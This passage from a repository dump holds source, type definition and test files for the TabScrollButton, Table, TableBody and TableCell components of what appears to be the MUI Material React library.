   externalSlotProps: slotProps.startScrollButtonIcon,\n    additionalProps: {\n      fontSize: 'small',\n    },\n    ownerState,\n  });\n\n  const endButtonIconProps = useSlotProps({\n    elementType: EndButtonIcon,\n    externalSlotProps: slotProps.endScrollButtonIcon,\n    additionalProps: {\n      fontSize: 'small',\n    },\n    ownerState,\n  });\n\n  return (\n    <TabScrollButtonRoot\n      component=\"div\"\n      className={clsx(classes.root, className)}\n      ref={ref}\n      role={null}\n      ownerState={ownerState}\n      tabIndex={null}\n      {...buttonBaseProps}\n      style={{\n        ...buttonBaseProps.style,\n        ...(orientation === 'vertical' && {\n          '--TabScrollButton-svgRotate': `rotate(${isRtl ? -90 : 90}deg)`,\n        }),\n      }}\n    >\n      {direction === 'left' ? (\n        <StartButtonIcon {...startButtonIconProps} />\n      ) : (\n        <EndButtonIcon {...endButtonIconProps} />\n      )}\n    </TabScrollButtonRoot>\n  );\n});\n\nTabScrollButton.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The direction the button should indicate.\n   */\n  direction: PropTypes.oneOf(['left', 'right']).isRequired,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * The component orientation (layout flow direction).\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']).isRequired,\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    endScrollButtonIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    startScrollButtonIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    EndScrollButtonIcon: PropTypes.elementType,\n    StartScrollButtonIcon: PropTypes.elementType,\n  }),\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TabScrollButton;\n"
  },
  {
    "path": "packages/mui-material/src/TabScrollButton/TabScrollButton.spec.tsx",
    "content": "import TabScrollButton from '@mui/material/TabScrollButton';\nimport SvgIcon from '@mui/material/SvgIcon';\n\nfunction SampleIcon() {\n  return (\n    <SvgIcon>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\n// Test for slots and slotProps\n<TabScrollButton\n  direction=\"left\"\n  orientation=\"horizontal\"\n  slots={{\n    StartScrollButtonIcon: SampleIcon,\n    EndScrollButtonIcon: SampleIcon,\n  }}\n  slotProps={{\n    endScrollButtonIcon: (ownerState) => ({\n      'data-testid': 'test-label-scrollButtonEnd',\n      fontSize: ownerState.disabled ? 'large' : 'small',\n    }),\n    startScrollButtonIcon: (ownerState) => ({\n      'data-testid': 'test-label-scrollButtonStart',\n      fontSize: ownerState.disabled ? 'large' : 'small',\n    }),\n  }}\n/>;\n\n// Test that ButtonBase props should be available\n<TabScrollButton direction=\"left\" orientation=\"horizontal\" centerRipple />;\n"
  },
  {
    "path": "packages/mui-material/src/TabScrollButton/TabScrollButton.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TabScrollButton, { tabScrollButtonClasses as classes } from '@mui/material/TabScrollButton';\nimport { createSvgIcon } from '@mui/material/utils';\nimport describeConformance from '../../test/describeConformance';\n\nconst ArrowBackIcon = createSvgIcon(<path d=\"M3 3h18v18H3z\" />, 'ArrowBack');\nconst ArrowForwardIcon = createSvgIcon(<path d=\"M3 3h18v18H3z\" />, 'ArrowForward');\n\ndescribe('<TabScrollButton />', () => {\n  const defaultProps = {\n    direction: 'left',\n    orientation: 'horizontal',\n  };\n  const { render } = createRenderer();\n\n  describeConformance(<TabScrollButton {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiTabScrollButton',\n    testVariantProps: { orientation: 'vertical' },\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp'],\n  }));\n\n  it('should render as a button with the root class', () => {\n    const { container } = render(<TabScrollButton {...defaultProps} />);\n    const button = container.firstChild;\n    expect(button).to.have.class(classes.root);\n  });\n\n  describe('prop: disabled', () => {\n    it('should render with a opacity of 0', () => {\n      const { container } = render(<TabScrollButton {...defaultProps} disabled />);\n      const button = container.firstChild;\n      expect(button).to.have.class(classes.disabled);\n    });\n  });\n\n  describe('prop: direction', () => {\n    it('should render with the left icon', () => {\n      render(<TabScrollButton {...defaultProps} {...defaultProps} direction=\"left\" disabled />);\n\n      expect(screen.getAllByTestId('KeyboardArrowLeftIcon').length).to.equal(1);\n    });\n\n    it('should render with the right icon', () => {\n      render(<TabScrollButton {...defaultProps} {...defaultProps} direction=\"right\" disabled />);\n\n      expect(screen.getAllByTestId('KeyboardArrowRightIcon').length).to.equal(1);\n    });\n  });\n\n  it('should render with the custom start icon', () => {\n    render(\n      <TabScrollButton\n        {...defaultProps}\n        direction=\"left\"\n        disabled\n        slots={{\n          StartScrollButtonIcon: ArrowBackIcon,\n        }}\n      />,\n    );\n\n    expect(screen.getAllByTestId('ArrowBackIcon')).to.have.lengthOf(1);\n  });\n\n  it('should render with the custom end icon', () => {\n    render(\n      <TabScrollButton\n        {...defaultProps}\n        direction=\"right\"\n        disabled\n        slots={{\n          EndScrollButtonIcon: ArrowForwardIcon,\n        }}\n      />,\n    );\n\n    expect(screen.getAllByTestId('ArrowForwardIcon')).to.have.lengthOf(1);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TabScrollButton/index.d.ts",
    "content": "export { default } from './TabScrollButton';\nexport * from './TabScrollButton';\n\nexport { default as tabScrollButtonClasses } from './tabScrollButtonClasses';\nexport * from './tabScrollButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TabScrollButton/index.js",
    "content": "export { default } from './TabScrollButton';\n\nexport { default as tabScrollButtonClasses } from './tabScrollButtonClasses';\nexport * from './tabScrollButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TabScrollButton/tabScrollButtonClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TabScrollButtonClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n}\n\nexport type TabScrollButtonClassKey = keyof TabScrollButtonClasses;\n\nexport function getTabScrollButtonUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTabScrollButton', slot);\n}\n\nconst tabScrollButtonClasses: TabScrollButtonClasses = generateUtilityClasses(\n  'MuiTabScrollButton',\n  ['root', 'vertical', 'horizontal', 'disabled'],\n);\n\nexport default tabScrollButtonClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Table/Table.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { TableClasses } from './tableClasses';\n\nexport interface TablePropsSizeOverrides {}\n\nexport interface TableOwnProps {\n  /**\n   * The content of the table, normally `TableHead` and `TableBody`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableClasses> | undefined;\n  /**\n   * Allows TableCells to inherit padding of the Table.\n   * @default 'normal'\n   */\n  padding?: 'normal' | 'checkbox' | 'none' | undefined;\n  /**\n   * Allows TableCells to inherit size of the Table.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', TablePropsSizeOverrides> | undefined;\n  /**\n   * Set the header sticky.\n   * @default false\n   */\n  stickyHeader?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TableTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'table',\n> {\n  props: AdditionalProps & TableOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [Table API](https://next.mui.com/material-ui/api/table/)\n */\ndeclare const Table: OverridableComponent<TableTypeMap>;\n\nexport type TableProps<\n  RootComponent extends React.ElementType = TableTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TableTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Table;\n"
  },
  {
    "path": "packages/mui-material/src/Table/Table.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport TableContext from './TableContext';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getTableUtilityClass } from './tableClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, stickyHeader } = ownerState;\n\n  const slots = {\n    root: ['root', stickyHeader && 'stickyHeader'],\n  };\n\n  return composeClasses(slots, getTableUtilityClass, classes);\n};\n\nconst TableRoot = styled('table', {\n  name: 'MuiTable',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.stickyHeader && styles.stickyHeader];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'table',\n    width: '100%',\n    borderCollapse: 'collapse',\n    borderSpacing: 0,\n    '& caption': {\n      ...theme.typography.body2,\n      padding: theme.spacing(2),\n      color: (theme.vars || theme).palette.text.secondary,\n      textAlign: 'left',\n      captionSide: 'bottom',\n    },\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.stickyHeader,\n        style: {\n          borderCollapse: 'separate',\n        },\n      },\n    ],\n  })),\n);\n\nconst defaultComponent = 'table';\n\nconst Table = React.forwardRef(function Table(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTable' });\n  const {\n    className,\n    component = defaultComponent,\n    padding = 'normal',\n    size = 'medium',\n    stickyHeader = false,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n    padding,\n    size,\n    stickyHeader,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const table = React.useMemo(\n    () => ({ padding, size, stickyHeader }),\n    [padding, size, stickyHeader],\n  );\n\n  return (\n    <TableContext.Provider value={table}>\n      <TableRoot\n        as={component}\n        role={component === defaultComponent ? null : 'table'}\n        ref={ref}\n        className={clsx(classes.root, className)}\n        ownerState={ownerState}\n        {...other}\n      />\n    </TableContext.Provider>\n  );\n});\n\nTable.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the table, normally `TableHead` and `TableBody`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Allows TableCells to inherit padding of the Table.\n   * @default 'normal'\n   */\n  padding: PropTypes.oneOf(['checkbox', 'none', 'normal']),\n  /**\n   * Allows TableCells to inherit size of the Table.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * Set the header sticky.\n   * @default false\n   */\n  stickyHeader: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Table;\n"
  },
  {
    "path": "packages/mui-material/src/Table/Table.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Table, { tableClasses as classes } from '@mui/material/Table';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Table />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <Table>\n      <tbody />\n    </Table>,\n    () => ({\n      classes,\n      inheritComponent: 'table',\n      render,\n      muiName: 'MuiTable',\n      testVariantProps: { variant: 'foo' },\n      refInstanceof: window.HTMLTableElement,\n      // can't test another component with tbody as a child\n      testComponentPropWith: 'table',\n    }),\n  );\n\n  describe('prop: component', () => {\n    it('can render a different component', () => {\n      const { container } = render(<Table component=\"div\">foo</Table>);\n      expect(container.firstChild).to.have.property('nodeName', 'DIV');\n    });\n\n    it('sets role=\"table\"', () => {\n      const { container } = render(<Table component=\"div\">foo</Table>);\n      expect(container.firstChild).to.have.attribute('role', 'table');\n    });\n  });\n\n  it('should render children', () => {\n    render(\n      <Table>\n        <tbody data-testid=\"children\" />\n      </Table>,\n    );\n\n    expect(screen.getByTestId('children')).not.to.equal(null);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Table/TableContext.d.ts",
    "content": "import * as React from 'react';\n\ninterface TableContextProps {\n  padding: 'default' | 'checkbox' | 'none';\n  size: 'default' | 'checkbox' | 'none';\n}\n\ndeclare const TableContext: React.Context<TableContextProps | undefined>;\n\nexport default TableContext;\n"
  },
  {
    "path": "packages/mui-material/src/Table/TableContext.js",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * @ignore - internal component.\n */\nconst TableContext = React.createContext();\n\nif (process.env.NODE_ENV !== 'production') {\n  TableContext.displayName = 'TableContext';\n}\n\nexport default TableContext;\n"
  },
  {
    "path": "packages/mui-material/src/Table/Tablelvl2Context.d.ts",
    "content": "import * as React from 'react';\n\ninterface Tablelvl2ContextProps {\n  variant: 'head' | 'body' | 'footer';\n}\n\ndeclare const Tablelvl2Context: React.Context<Tablelvl2ContextProps | undefined>;\n\nexport default Tablelvl2Context;\n"
  },
  {
    "path": "packages/mui-material/src/Table/Tablelvl2Context.js",
    "content": "'use client';\nimport * as React from 'react';\n\n/**\n * @ignore - internal component.\n */\nconst Tablelvl2Context = React.createContext();\n\nif (process.env.NODE_ENV !== 'production') {\n  Tablelvl2Context.displayName = 'Tablelvl2Context';\n}\n\nexport default Tablelvl2Context;\n"
  },
  {
    "path": "packages/mui-material/src/Table/index.d.ts",
    "content": "export { default } from './Table';\nexport * from './Table';\n\nexport { default as tableClasses } from './tableClasses';\nexport * from './tableClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Table/index.js",
    "content": "export { default } from './Table';\n\nexport { default as tableClasses } from './tableClasses';\nexport * from './tableClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Table/tableClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `stickyHeader={true}`. */\n  stickyHeader: string;\n}\n\nexport type TableClassKey = keyof TableClasses;\n\nexport function getTableUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTable', slot);\n}\n\nconst tableClasses: TableClasses = generateUtilityClasses('MuiTable', ['root', 'stickyHeader']);\n\nexport default tableClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TableBody/TableBody.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { TableBodyClasses } from './tableBodyClasses';\n\nexport interface TableBodyOwnProps {\n  /**\n   * The content of the component, normally `TableRow`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableBodyClasses> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface TableBodyTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'tbody',\n> {\n  props: AdditionalProps & TableBodyOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TableBody API](https://next.mui.com/material-ui/api/table-body/)\n */\ndeclare const TableBody: OverridableComponent<TableBodyTypeMap>;\n\nexport type TableBodyProps<\n  RootComponent extends React.ElementType = TableBodyTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TableBodyTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default TableBody;\n"
  },
  {
    "path": "packages/mui-material/src/TableBody/TableBody.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Tablelvl2Context from '../Table/Tablelvl2Context';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getTableBodyUtilityClass } from './tableBodyClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getTableBodyUtilityClass, classes);\n};\n\nconst TableBodyRoot = styled('tbody', {\n  name: 'MuiTableBody',\n  slot: 'Root',\n})({\n  display: 'table-row-group',\n});\n\nconst tablelvl2 = {\n  variant: 'body',\n};\n\nconst defaultComponent = 'tbody';\n\nconst TableBody = React.forwardRef(function TableBody(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTableBody' });\n  const { className, component = defaultComponent, ...other } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <Tablelvl2Context.Provider value={tablelvl2}>\n      <TableBodyRoot\n        className={clsx(classes.root, className)}\n        as={component}\n        ref={ref}\n        role={component === defaultComponent ? null : 'rowgroup'}\n        ownerState={ownerState}\n        {...other}\n      />\n    </Tablelvl2Context.Provider>\n  );\n});\n\nTableBody.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component, normally `TableRow`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default TableBody;\n"
  },
  {
    "path": "packages/mui-material/src/TableBody/TableBody.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport TableBody, { tableBodyClasses as classes } from '@mui/material/TableBody';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<TableBody />', () => {\n  const { render } = createRenderer();\n\n  function renderInTable(node) {\n    return render(<table>{node}</table>);\n  }\n\n  describeConformance(<TableBody />, () => ({\n    classes,\n    inheritComponent: 'tbody',\n    render: (node) => {\n      const { container, ...other } = render(<table>{node}</table>);\n      return { container: container.firstChild, ...other };\n    },\n    muiName: 'MuiTableBody',\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLTableSectionElement,\n    // can't test with custom `component` with `renderInTable`\n    testComponentPropWith: 'tbody',\n  }));\n\n  it('should render children', () => {\n    const children = <tr data-testid=\"test\" />;\n    renderInTable(<TableBody>{children}</TableBody>);\n    screen.getByTestId('test');\n  });\n\n  describe('prop: component', () => {\n    it('can render a different component', () => {\n      const { container } = render(<TableBody component=\"div\" />);\n      expect(container.firstChild).to.have.property('nodeName', 'DIV');\n    });\n\n    it('sets role=\"rowgroup\"', () => {\n      const { container } = render(<TableBody component=\"div\" />);\n      expect(container.firstChild).to.have.attribute('role', 'rowgroup');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/TableBody/index.d.ts",
    "content": "export { default } from './TableBody';\nexport * from './TableBody';\n\nexport { default as tableBodyClasses } from './tableBodyClasses';\nexport * from './tableBodyClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableBody/index.js",
    "content": "export { default } from './TableBody';\n\nexport { default as tableBodyClasses } from './tableBodyClasses';\nexport * from './tableBodyClasses';\n"
  },
  {
    "path": "packages/mui-material/src/TableBody/tableBodyClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TableBodyClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type TableBodyClassKey = keyof TableBodyClasses;\n\nexport function getTableBodyUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTableBody', slot);\n}\n\nconst tableBodyClasses: TableBodyClasses = generateUtilityClasses('MuiTableBody', ['root']);\n\nexport default tableBodyClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TableCell/TableCell.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { TableCellClasses } from './tableCellClasses';\n\nexport interface TableCellPropsSizeOverrides {}\nexport interface TableCellPropsVariantOverrides {}\n\n/**\n * `<TableCell>` will be rendered as an `<th>`or `<td>` depending\n * on the context it is used in. Where context literally is the\n * React `context`.\n *\n * Since it is not decided via prop, we have create loose typings\n * here.\n */\nexport interface TableCellProps extends StandardProps<TableCellBaseProps, 'align'> {\n  /**\n   * Set the text-align on the table cell content.\n   *\n   * Monetary or generally number fields **should be right aligned** as that allows\n   * you to add them up quickly in your head without having to worry about decimals.\n   * @default 'inherit'\n   */\n  align?: 'inherit' | 'left' | 'center' | 'right' | 'justify' | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TableCellClasses> | undefined;\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component?: React.ElementType<TableCellBaseProps> | undefined;\n  /**\n   * Sets the padding applied to the cell.\n   * The prop defaults to the value (`'default'`) inherited from the parent Table component.\n   */\n  padding?: 'normal' | 'checkbox' | 'none' | undefined;\n  /**\n   * Set scope attribute.\n   */\n  scope?: TableCellBaseProps['scope'] | undefined;\n  /**\n   * Specify the size of the cell.\n   * The prop defaults to the value (`'medium'`) inherited from the parent Table component.\n   */\n  size?: OverridableStringUnion<'small' | 'medium', TableCellPropsSizeOverrides> | undefined;\n  /**\n   * Set aria-sort direction.\n   */\n  sortDirection?: SortDirection | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Specify the cell type.\n   * The prop defaults to the value inherited from the parent TableHead, TableBody, or TableFooter components.\n   */\n  variant?:\n    | OverridableStringUnion<'head' | 'body' | 'footer', TableCellPropsVariantOverrides>\n    | undefined;\n}\n\nexport type TableCellBaseProps = React.ThHTMLAttributes<HTMLTableCellElement> &\n  React.TdHTMLAttributes<HTMLTableCellElement>;\n\nexport type SortDirection = 'asc' | 'desc' | false;\n\n/**\n * The component renders a `<th>` element when the parent context is a header\n * or otherwise a `<td>` element.\n *\n * Demos:\n *\n * - [Table](https://next.mui.com/material-ui/react-table/)\n *\n * API:\n *\n * - [TableCell API](https://next.mui.com/material-ui/api/table-cell/)\n */\nexport default function TableCell(props: TableCellProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/TableCell/TableCell.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '../utils/capitalize';\nimport TableContext from '../Table/TableContext';\nimport Tablelvl2Context from '../Table/Tablelvl2Context';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport tableCellClasses, { getTableCellUtilityClass } from './tableCellClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant, align, padding, size, stickyHeader } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      variant,\n      stickyHeader && 'stickyHeader',\n      align !== 'inherit' && `align${capitalize(align)}`,\n      padding !== 'normal' && `padding${capitalize(padding)}`,\n      `size${capitalize(size)}`,\n    ],\n  };\n\n  return composeClasses(slots, getTableCellUtilityClass, classes);\n};\n\nconst TableCellRoot = styled('td', {\n  name: 'MuiTableCell',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.variant],\n      styles[`size${capitalize(ownerState.size)}`],\n      ownerState.padding !== 'normal' && styles[`padding${capitalize(ownerState.padding)}`],\n      ownerState.align !== 'inherit' && styles[`align${capitalize(ownerState.align)}`],\n      ownerState.stickyHeader && styles.stickyHeader,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body2,\n    display: 'table-cell',\n    verticalAlign: 'inherit',\n    // Workaround for a rendering bug with spanned columns in Chrome 62.0.\n    // Removes the alpha (sets it to 1), and lightens or darkens the theme color.\n    borderBottom: theme.vars\n      ? `1px solid ${theme.vars.palette.TableCell.border}`\n      : `1px solid\n    ${\n      theme.palette.mode === 'light'\n        ? theme.lighten(theme.alpha(theme.palette.divider, 1), 0.88)\n        : theme.darken(theme.alpha(theme.palette.divider, 1), 0.68)\n    }`,\n    textAlign: 'left',\n    padding: 16,\n    variants: [\n      {\n        props: {\n          variant: 'head',\n        },\n        style: {\n          color: (theme.vars || theme).palette.text.primary,\n          lineHeight: theme.typography.pxToRem(24),\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n      },\n      {\n        props: {\n          variant: 'body',\n        },\n        style: {\n          color: (theme.vars || theme).palette.text.primary,\n        },\n      },\n      {\n        props: {\n          variant: 'footer',\n        },\n        style: {\n          color: (theme.vars || theme).palette.text.secondary,\n          lineHeight: theme.typography.pxToRem(21),\n          fontSize: theme.typography.pxToRem(12),\n        },\n      },\n      {\n        props: {\n          size: 'small',\n        },\n        style: {\n          padding: '6px 16px',\n          [`&.${tableCellClasses.paddingCheckbox}`]: {\n            width: 24, // prevent the checkbox column from growing\n            padding: '0 12px 0 16px',\n            '& > *': {\n              padding: 0,\n            },\n          },\n        },\n      },\n      {\n        props: {\n          padding: 'checkbox',\n        },\n        style: {\n          width: 48, // prevent the checkbox column from growing\n          padding: '0 0 0 4px',\n        },\n      },\n      {\n        props: {\n          padding: 'none',\n        },\n        style: {\n          padding: 0,\n        },\n      },\n      {\n        props: {\n          align: 'left',\n        },\n        style: {\n          textAlign: 'left',\n        },\n      },\n      {\n        props: {\n          align: 'center',\n        },\n        style: {\n          textAlign: 'center',\n        },\n      },\n      {\n        props: {\n          align: 'right',\n        },\n        style: {\n          textAlign: 'right',\n          flexDirection: 'row-reverse',\n        },\n      },\n      {\n        props: {\n          align: 'justify',\n        },\n        style: {\n          textAlign: 'justify',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.stickyHeader,\n        style: {\n          position: 'sticky',\n          top: 0,\n          zIndex: 2,\n          backgroundColor: (theme.vars || theme).palette.background.default,\n        },\n      },\n    ],\n  })),\n);\n\n/**\n * The component renders a `<th>` element when the parent context is a header\n * or otherwise a `<td>` element.\n */\nconst TableCell = React.forwardRef(function TableCell(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTableCell' });\n  const {\n    align = 'inherit',\n    className,\n    component: componentProp,\n    padding: paddingProp,\n    scope: scopeProp,\n    size: sizeProp,\n    sortDirection,\n    variant: variantProp,\n    ...other\n  } = props;\n\n  const table = React.useContext(TableContext);\n  const tablelvl2 = React.useContext(Tablelvl2Context);\n\n  const isHeadCell = tablelvl2 && tablelvl2.variant === 'head';\n\n  let component;\n  if (componentProp) {\n    component = componentProp;\n  } else {\n    component = isHeadCell ? 'th' : 'td';\n  }\n\n  let scope = scopeProp;\n  // scope is not a valid attribute for <td/> elements.\n  // source: https://html.spec.whatwg.org/multipage/tables.html#the-td-element\n  if (component === 'td') {\n    scope = undefined;\n  } else if (!scope && isHeadCell) {\n    scope = 'col';\n  }\n\n  const variant = variantProp || (tablelvl2 && tablelvl2.variant);\n\n  const ownerState = {\n    ...props,\n    align,\n    